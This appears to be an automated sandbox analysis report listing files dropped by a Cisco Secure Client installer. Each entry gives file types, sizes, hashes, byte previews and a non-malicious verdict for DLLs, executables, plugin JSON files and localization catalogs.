Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3908712
Entropy (8bit):	6.887797216959267
Encrypted:	false
SSDEEP:	49152:1R8wYv1zxStjGudpDcpXkuHdMRwou2pMOLmFn+d8tPB19nW/7BioqbCJ6JMfS20A:1R8w66ttdpDcpUs48nOL6+y719nWTT
MD5:	2A1D5A1BEB44C39B287BB7B9D34DC94E
SHA1:	F6BBD68D77978793BC348E181A1E8D2130C12AD3
SHA-256:	586085F4C7928D93E7C941705837506A69302168347136346D6784F78E67BBDD
SHA-512:	F05F14327B6C341444463CD774358D241655C06D910BAC2F72F007CD1052CE0832697E4F386C2F0810BE501F1E992B6E390A7484CCCEBFD0BB8522E7930246F3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................8...........!..L.!This program cannot be run in DOS mode....$........H...).X.).X.).X.B.Y.).X.B.Y_).X.F.X.).X.\.Y.).X.\.Y.).X.\.Y.).X6@.Y.).X.).X.).X.\.Y\|(.X.B.Y.).X.B.Y.).X.).X.(.XP\.Y.).XP\.Y.).XP\.X.).X.)qX.).XP\.Y.).XRich.).X........................PE..L......d...........!......%.........@'........%...............................;...../.<...@A..........................3......8.......9..............\;.hH....9......v2.T...................@w2.....Xv2.@.............%.\............................text...z.%.......%................. ..`.rdata........%.......%.............@..@.data.........8.......8.............@....rsrc.........9......<9.............@..@.reloc........9......D9.............@..B................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\Plugins\is-8DJ11.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	JSON data
Category:	dropped
Size (bytes):	117
Entropy (8bit):	4.323029521506045
Encrypted:	false
SSDEEP:	3:3FF1JsfF3dNH4TL2e2xcH9XyIMGLz1KCr:3FFYttNYTqegcHcIRP1fr
MD5:	B23D2052EB88D57B7EB5F3F6FE0B73DF
SHA1:	3B518BC2C90F511B0F026089E0EA617C532761CB
SHA-256:	EEAF72902741BE5DDA3A2C96DBC14545232A8CB4ABF97117AA8593D5876B182A
SHA-512:	38C528C6094EDD066C50509D970C8C3BDA08BD3206376BE79FA61453B216F14F1BA32E58A807C1EFD1C91A87C3E36953154299B78E1114379331D8BFC69A51F9
Malicious:	false
Preview:	{.. "plugin": {.. "relative-pathname": "vpnapishim.dll", .. "product-version": "5.0.05040".. }..}

C:\Program Files (x86)\Cisco\Cisco Secure Client\Plugins\is-9BJOQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	JSON data
Category:	dropped
Size (bytes):	118
Entropy (8bit):	4.356540827709149
Encrypted:	false
SSDEEP:	3:3FF1JsfF3dNH4TLPSifLBHcH9XyIMGLz1KCr:3FFYttNYT/LB8HcIRP1fr
MD5:	FCD4980A92383439E287B087524C7BD9
SHA1:	A91FE2BC7B81A89184D6861EEAB6359C43B1510A
SHA-256:	47FA628E122440B0292AA2F4D645EBE7B7536D4400C3EF7EAD4E1C28DD77BCFB
SHA-512:	D72AE7FAE4E5D95C37E4F5B1A08648662DBF7407DDBD1DCAE0C0D07A45D19E0C2D421BB079CE77AACC766608BF1A61E479F755479881226D368273A8BDFED38C
Malicious:	false
Preview:	{.. "plugin": {.. "relative-pathname": "acwebhelper.dll", .. "product-version": "5.0.05040".. }..}

C:\Program Files (x86)\Cisco\Cisco Secure Client\Plugins\is-AS77Q.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	JSON data
Category:	dropped
Size (bytes):	115
Entropy (8bit):	4.299463045055552
Encrypted:	false
SSDEEP:	3:3FF1JsfF3dNH4TLK8yH9XyIMGLz1KCr:3FFYttNYTmvHcIRP1fr
MD5:	769B51BA7501D6050DDC9A09C6A09B76
SHA1:	8BDE26C2B5B4AC5523C6B544147B01FF95A915D1
SHA-256:	4897DE44835053B78530EFAB879AD9BBC8C9480832757364FD953526F00D629A
SHA-512:	13A1DE06ECA2A5A2AFE33EBBCBF06BB9FFCC99F21D5E8216BCAC128AFDF9BCD9AFA57E3C4633E0006AAF0E43F11BC336986708D0ADAF154BC29F335F20723473
Malicious:	false
Preview:	{.. "plugin": {.. "relative-pathname": "vpnipsec.dll", .. "product-version": "5.0.05040".. }..}

C:\Program Files (x86)\Cisco\Cisco Secure Client\Plugins\is-LMS1D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3908712
Entropy (8bit):	6.887797216959267
Encrypted:	false
SSDEEP:	49152:1R8wYv1zxStjGudpDcpXkuHdMRwou2pMOLmFn+d8tPB19nW/7BioqbCJ6JMfS20A:1R8w66ttdpDcpUs48nOL6+y719nWTT
MD5:	2A1D5A1BEB44C39B287BB7B9D34DC94E
SHA1:	F6BBD68D77978793BC348E181A1E8D2130C12AD3
SHA-256:	586085F4C7928D93E7C941705837506A69302168347136346D6784F78E67BBDD
SHA-512:	F05F14327B6C341444463CD774358D241655C06D910BAC2F72F007CD1052CE0832697E4F386C2F0810BE501F1E992B6E390A7484CCCEBFD0BB8522E7930246F3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................8...........!..L.!This program cannot be run in DOS mode....$........H...).X.).X.).X.B.Y.).X.B.Y_).X.F.X.).X.\.Y.).X.\.Y.).X.\.Y.).X6@.Y.).X.).X.).X.\.Y\|(.X.B.Y.).X.B.Y.).X.).X.(.XP\.Y.).XP\.Y.).XP\.X.).X.)qX.).XP\.Y.).XRich.).X........................PE..L......d...........!......%.........@'........%...............................;...../.<...@A..........................3......8.......9..............\;.hH....9......v2.T...................@w2.....Xv2.@.............%.\............................text...z.%.......%................. ..`.rdata........%.......%.............@..@.data.........8.......8.............@....rsrc.........9......<9.............@..@.reloc........9......D9.............@..B................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\Plugins\is-N65F9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	JSON data
Category:	dropped
Size (bytes):	117
Entropy (8bit):	4.383545038270626
Encrypted:	false
SSDEEP:	3:3FF1JsfF3dNH4TLPDlSncH9XyIMGLz1KCr:3FFYttNYTnlSncHcIRP1fr
MD5:	288FCD2FDDC8001D274BCFB8B30AE9E0
SHA1:	4B0E7C4FBD55EBB687D5521F9CA234A1391DBBF5
SHA-256:	CCECC9DF3B737D1F56F4B34280919C8592D0585224E72D0E0ABD9D9A536AF2E6
SHA-512:	F5B3E7E1AEB03B5244387BD1856B3BC059BAF8D4A414D9E1A44F8CC7736EE34D6BF00903857E382D769E550B014ECB74E5A00D3A6022BAC09FA9FA4F38259A7A
Malicious:	false
Preview:	{.. "plugin": {.. "relative-pathname": "acfeedback.dll", .. "product-version": "5.0.05040".. }..}

C:\Program Files (x86)\Cisco\Cisco Secure Client\Plugins\pluginreg_vpn_api.json (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	JSON data
Category:	dropped
Size (bytes):	117
Entropy (8bit):	4.323029521506045
Encrypted:	false
SSDEEP:	3:3FF1JsfF3dNH4TL2e2xcH9XyIMGLz1KCr:3FFYttNYTqegcHcIRP1fr
MD5:	B23D2052EB88D57B7EB5F3F6FE0B73DF
SHA1:	3B518BC2C90F511B0F026089E0EA617C532761CB
SHA-256:	EEAF72902741BE5DDA3A2C96DBC14545232A8CB4ABF97117AA8593D5876B182A
SHA-512:	38C528C6094EDD066C50509D970C8C3BDA08BD3206376BE79FA61453B216F14F1BA32E58A807C1EFD1C91A87C3E36953154299B78E1114379331D8BFC69A51F9
Malicious:	false
Preview:	{.. "plugin": {.. "relative-pathname": "vpnapishim.dll", .. "product-version": "5.0.05040".. }..}

C:\Program Files (x86)\Cisco\Cisco Secure Client\Plugins\pluginreg_vpn_feedback.json (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	JSON data
Category:	dropped
Size (bytes):	117
Entropy (8bit):	4.383545038270626
Encrypted:	false
SSDEEP:	3:3FF1JsfF3dNH4TLPDlSncH9XyIMGLz1KCr:3FFYttNYTnlSncHcIRP1fr
MD5:	288FCD2FDDC8001D274BCFB8B30AE9E0
SHA1:	4B0E7C4FBD55EBB687D5521F9CA234A1391DBBF5
SHA-256:	CCECC9DF3B737D1F56F4B34280919C8592D0585224E72D0E0ABD9D9A536AF2E6
SHA-512:	F5B3E7E1AEB03B5244387BD1856B3BC059BAF8D4A414D9E1A44F8CC7736EE34D6BF00903857E382D769E550B014ECB74E5A00D3A6022BAC09FA9FA4F38259A7A
Malicious:	false
Preview:	{.. "plugin": {.. "relative-pathname": "acfeedback.dll", .. "product-version": "5.0.05040".. }..}

C:\Program Files (x86)\Cisco\Cisco Secure Client\Plugins\pluginreg_vpn_ipsec.json (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	JSON data
Category:	dropped
Size (bytes):	115
Entropy (8bit):	4.299463045055552
Encrypted:	false
SSDEEP:	3:3FF1JsfF3dNH4TLK8yH9XyIMGLz1KCr:3FFYttNYTmvHcIRP1fr
MD5:	769B51BA7501D6050DDC9A09C6A09B76
SHA1:	8BDE26C2B5B4AC5523C6B544147B01FF95A915D1
SHA-256:	4897DE44835053B78530EFAB879AD9BBC8C9480832757364FD953526F00D629A
SHA-512:	13A1DE06ECA2A5A2AFE33EBBCBF06BB9FFCC99F21D5E8216BCAC128AFDF9BCD9AFA57E3C4633E0006AAF0E43F11BC336986708D0ADAF154BC29F335F20723473
Malicious:	false
Preview:	{.. "plugin": {.. "relative-pathname": "vpnipsec.dll", .. "product-version": "5.0.05040".. }..}

C:\Program Files (x86)\Cisco\Cisco Secure Client\Plugins\pluginreg_vpn_webhelper.json (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	JSON data
Category:	dropped
Size (bytes):	118
Entropy (8bit):	4.356540827709149
Encrypted:	false
SSDEEP:	3:3FF1JsfF3dNH4TLPSifLBHcH9XyIMGLz1KCr:3FFYttNYT/LB8HcIRP1fr
MD5:	FCD4980A92383439E287B087524C7BD9
SHA1:	A91FE2BC7B81A89184D6861EEAB6359C43B1510A
SHA-256:	47FA628E122440B0292AA2F4D645EBE7B7536D4400C3EF7EAD4E1C28DD77BCFB
SHA-512:	D72AE7FAE4E5D95C37E4F5B1A08648662DBF7407DDBD1DCAE0C0D07A45D19E0C2D421BB079CE77AACC766608BF1A61E479F755479881226D368273A8BDFED38C
Malicious:	false
Preview:	{.. "plugin": {.. "relative-pathname": "acwebhelper.dll", .. "product-version": "5.0.05040".. }..}

C:\Program Files (x86)\Cisco\Cisco Secure Client\ProxyCon.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	42600
Entropy (8bit):	6.850341851307747
Encrypted:	false
SSDEEP:	768:MoodVjT3FVIgFC1wTDRDGV5ENAMxGhDGVumuAMxkEX:norjT1VImC14DdxGhfxr
MD5:	0FA61F44C8C84022B2D7BC3D2D799562
SHA1:	6AB650840B91DF72F066A3D3882E5A8891F36E07
SHA-256:	65FD7DC0ED6E034BD6A956ABC357631B87B094A3587AAF91793233CC44E813EC
SHA-512:	FBB9156C946C1D110545ABCBB663A5A6B596EC4880F3400B4824728E5EF396B0976DFAF9F6E41377F3825DC7BC9D46DDB6BEA0172C9A51CEB55636D4722460B9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........?.X.^h..^h..^h..&...^h..+l..^h..+k..^h..+m..^h..+i..^h..+i..^h..5i..^h..^i..^h..+a..^h..+...^h..^...^h..+j..^h.Rich.^h.................PE..L...K..d.................4...*......p .......P....@.......................................@.................................8].......................^..hH..........LU..T............................U..@............P..,............................text....2.......4.................. ..`.rdata.......P.......8..............@..@.data...L....p.......P..............@....rsrc................R..............@..@.reloc...............Z..............@..B................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\csc_ui.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3058280
Entropy (8bit):	6.02927936674107
Encrypted:	false
SSDEEP:	49152:I4MfZ031DVdQtj3IDJyfxR6oSmmr2E2y/dVevljoZj8OdoiM/dBVxfkT2vfsLt70:mR3IDJy5R6Smr9/jevlj67KBVxfkQ
MD5:	24DE4ED3FF1FA997F867B591BE4E001D
SHA1:	744D45EBD394880598B597D882AE2B634B9261FB
SHA-256:	7C4330C4BD0C6890C7EFC49AF493056B92332C65BE2BF885CD2A599369BA5349
SHA-512:	8A32756CFFCD10D6DF5F0B6DA917A203115431FE101B2B7746B1D8E76956B12F6AF5CE89BCE29BC505558943F4D661D45E2630B4B5790625B968549146EBEC88
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........[...5Y..5Y..5Y.6X..5Y.0X..5Y..1X..5Y..6X..5Y.1X..5Y..0X..5Y..0X..5Y.4X..5Y..4Y..5Y..<XZ.5Y...Y..5Y..Y..5Y..7X..5YRich..5Y................PE..L......d.................\...(...............p....@.................................../...@..................................n..h.....#..Y...........b..hH...@,.<d......T...................@.......h...@............p..\|............................text....Z.......\.................. ..`.rdata...(...p...*...`..............@..@.data....<..........................@....rsrc....Y....#..Z....#.............@..@.reloc..<d...@,..f....+.............@..B........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\csc_ui_toast.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	124520
Entropy (8bit):	6.630785150590808
Encrypted:	false
SSDEEP:	3072:G32Q9YYQbxksfyuSq/NyDbUzb7DCp+iSc9lxma:IhvQSphq/M8vpc9ia
MD5:	0B9FFCA43DA7770F1D5C77C7E9B9B3FE
SHA1:	F4FF02AC97542DAA7AFFA5AF61E956752CCE1809
SHA-256:	329F104D7F9E76BC20CAF68BA7AFC081B7E85EC9DF50E42C715CED146DDF4041
SHA-512:	15F52C15D6A9BFCFA2EAC5045E1DE6087A2222ACD701C7DD2376C3178659C6D83D26E6AED1AF8DD2EF1E8F493B10E4EFE13010C8C670627C748890FFE160917C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Y....v...v...v.......v......v......>v.......v.......v.......v.......v....q..v...v..Dv.......v.......v.......v...vu..v.......v..Rich.v..........PE..L......d...........!................PF..............................................q.....@A.........................y..$....z..d.......................hH...........a..T...........................Hb..@...............4............................text............................... ..`.rdata..Pr.......t..................@..@.data................l..............@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\is-0667M.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3058280
Entropy (8bit):	6.02927936674107
Encrypted:	false
SSDEEP:	49152:I4MfZ031DVdQtj3IDJyfxR6oSmmr2E2y/dVevljoZj8OdoiM/dBVxfkT2vfsLt70:mR3IDJy5R6Smr9/jevlj67KBVxfkQ
MD5:	24DE4ED3FF1FA997F867B591BE4E001D
SHA1:	744D45EBD394880598B597D882AE2B634B9261FB
SHA-256:	7C4330C4BD0C6890C7EFC49AF493056B92332C65BE2BF885CD2A599369BA5349
SHA-512:	8A32756CFFCD10D6DF5F0B6DA917A203115431FE101B2B7746B1D8E76956B12F6AF5CE89BCE29BC505558943F4D661D45E2630B4B5790625B968549146EBEC88
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........[...5Y..5Y..5Y.6X..5Y.0X..5Y..1X..5Y..6X..5Y.1X..5Y..0X..5Y..0X..5Y.4X..5Y..4Y..5Y..<XZ.5Y...Y..5Y..Y..5Y..7X..5YRich..5Y................PE..L......d.................\...(...............p....@.................................../...@..................................n..h.....#..Y...........b..hH...@,.<d......T...................@.......h...@............p..\|............................text....Z.......\.................. ..`.rdata...(...p...*...`..............@..@.data....<..........................@....rsrc....Y....#..Z....#.............@..@.reloc..<d...@,..f....+.............@..B........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\is-FCDNQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	124520
Entropy (8bit):	6.630785150590808
Encrypted:	false
SSDEEP:	3072:G32Q9YYQbxksfyuSq/NyDbUzb7DCp+iSc9lxma:IhvQSphq/M8vpc9ia
MD5:	0B9FFCA43DA7770F1D5C77C7E9B9B3FE
SHA1:	F4FF02AC97542DAA7AFFA5AF61E956752CCE1809
SHA-256:	329F104D7F9E76BC20CAF68BA7AFC081B7E85EC9DF50E42C715CED146DDF4041
SHA-512:	15F52C15D6A9BFCFA2EAC5045E1DE6087A2222ACD701C7DD2376C3178659C6D83D26E6AED1AF8DD2EF1E8F493B10E4EFE13010C8C670627C748890FFE160917C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Y....v...v...v.......v......v......>v.......v.......v.......v.......v....q..v...v..Dv.......v.......v.......v...vu..v.......v..Rich.v..........PE..L......d...........!................PF..............................................q.....@A.........................y..$....z..d.......................hH...........a..T...........................Hb..@...............4............................text............................... ..`.rdata..Pr.......t..................@..@.data................l..............@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\l10n\cs-cz\LC_MESSAGES\SecureClientDefault.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	350819
Entropy (8bit):	5.461097780903613
Encrypted:	false
SSDEEP:	3072:LjH3U1ogMmeb7oVBKIuDVKuAYjG+chxEb1XVnh2MR+5+dJT8eRrDIpFmv0K1t:LjH3UKuVVBKfKh+qMR+5+dJTXDX1t
MD5:	2967DEC829A8EB7B1B28EDE05C47DCB8
SHA1:	F02FD55BF471D0BC97FE6F71ABC0A795B9C87475
SHA-256:	105BEB70A051B9C21C5C98EAB6F3C3E5EC01A54D6FDF25E86FD5BC9F113362DF
SHA-512:	A79CC293592DEF70B0C9EC83874DF23B4FA71DCAAA5C5656B2B0533BC7A91BCC8A65FCBF48124FD2E49D9CCA4B373E03F8294805F76BA19742377DA6856928FE
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\l10n\cs-cz\LC_MESSAGES\is-E31MN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	350819
Entropy (8bit):	5.461097780903613
Encrypted:	false
SSDEEP:	3072:LjH3U1ogMmeb7oVBKIuDVKuAYjG+chxEb1XVnh2MR+5+dJT8eRrDIpFmv0K1t:LjH3UKuVVBKfKh+qMR+5+dJTXDX1t
MD5:	2967DEC829A8EB7B1B28EDE05C47DCB8
SHA1:	F02FD55BF471D0BC97FE6F71ABC0A795B9C87475
SHA-256:	105BEB70A051B9C21C5C98EAB6F3C3E5EC01A54D6FDF25E86FD5BC9F113362DF
SHA-512:	A79CC293592DEF70B0C9EC83874DF23B4FA71DCAAA5C5656B2B0533BC7A91BCC8A65FCBF48124FD2E49D9CCA4B373E03F8294805F76BA19742377DA6856928FE
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\l10n\de-de\LC_MESSAGES\SecureClientDefault.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	361321
Entropy (8bit):	5.209740954129793
Encrypted:	false
SSDEEP:	6144:LjH3UK9dlRVBKfKh++1/nK0Gg4tIOIeJgzu7b:L7hD1/Eqi
MD5:	896374392BD925153CD66C80C719F912
SHA1:	E640B935A2400502607218A0ACA6CC281EFC26A5
SHA-256:	D8264819DB8F3D333ECAC920A8C7240878114F30610EAB49FD817005199A8D29
SHA-512:	3693C050D0E759439E1B03144F623AB735F268D44F97AC7E7726CAF10B5D43F7266EAD8BD8267F57B79AFEF35945BE8D9157F77C77AFCC367C77706600925EB5
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\l10n\de-de\LC_MESSAGES\is-5VLOG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	361321
Entropy (8bit):	5.209740954129793
Encrypted:	false
SSDEEP:	6144:LjH3UK9dlRVBKfKh++1/nK0Gg4tIOIeJgzu7b:L7hD1/Eqi
MD5:	896374392BD925153CD66C80C719F912
SHA1:	E640B935A2400502607218A0ACA6CC281EFC26A5
SHA-256:	D8264819DB8F3D333ECAC920A8C7240878114F30610EAB49FD817005199A8D29
SHA-512:	3693C050D0E759439E1B03144F623AB735F268D44F97AC7E7726CAF10B5D43F7266EAD8BD8267F57B79AFEF35945BE8D9157F77C77AFCC367C77706600925EB5
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\l10n\es-es\LC_MESSAGES\SecureClientDefault.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	354736
Entropy (8bit):	5.123789642260049
Encrypted:	false
SSDEEP:	3072:LjH3U1ogM+Iy/aLiY2DBoVBKIuDVKuAYjG+chxEb1XVnhk0NrNQA/nUkSY:LjH3UKJZLiY2DyVBKfKh+w4i5ZY
MD5:	9D4300C87C9E378A13EFA9999D305929
SHA1:	0A7BB44A99208085296E782FD2E7B22170E7D03A
SHA-256:	D92D3E91F1B4036435CC6E39E2CE048DE7153A54577695313ACA1119DF70DE82
SHA-512:	297D7848FB011D8E79A7EE1B48D42227FC8582848B9232F4ED155B5FA1476C25654885FBD39E0207DD86F619BFC0FDE41A0D448365E5B1D57D7C359B7EAE3B1F
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\l10n\es-es\LC_MESSAGES\is-0NJ5K.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	354736
Entropy (8bit):	5.123789642260049
Encrypted:	false
SSDEEP:	3072:LjH3U1ogM+Iy/aLiY2DBoVBKIuDVKuAYjG+chxEb1XVnhk0NrNQA/nUkSY:LjH3UKJZLiY2DyVBKfKh+w4i5ZY
MD5:	9D4300C87C9E378A13EFA9999D305929
SHA1:	0A7BB44A99208085296E782FD2E7B22170E7D03A
SHA-256:	D92D3E91F1B4036435CC6E39E2CE048DE7153A54577695313ACA1119DF70DE82
SHA-512:	297D7848FB011D8E79A7EE1B48D42227FC8582848B9232F4ED155B5FA1476C25654885FBD39E0207DD86F619BFC0FDE41A0D448365E5B1D57D7C359B7EAE3B1F
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\l10n\fr-ca\LC_MESSAGES\SecureClientDefault.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	366110
Entropy (8bit):	5.203256685903476
Encrypted:	false
SSDEEP:	6144:LjH3UKZRI1w8uVBKfKh+EMVBfFUwKmXeEXNfl:L7hnRCgwKmXeEdfl
MD5:	283DE4CDF40608573B8CF8ACF853524A
SHA1:	43119C50A0F9459624D7CA1CCC9C65D0474EDC32
SHA-256:	6169558657F7D31BBA1335D14D8515877F0EBCF963604F54D7B8676F59437426
SHA-512:	63FAF192C420503F17700E9B757F864F997B76E3DC41BAA01F664672159FEFDC84F338BBA77B06E5D0DF29FA4A422CCA49FDDAC80F7F64C35570E9430972618F
Malicious:	false
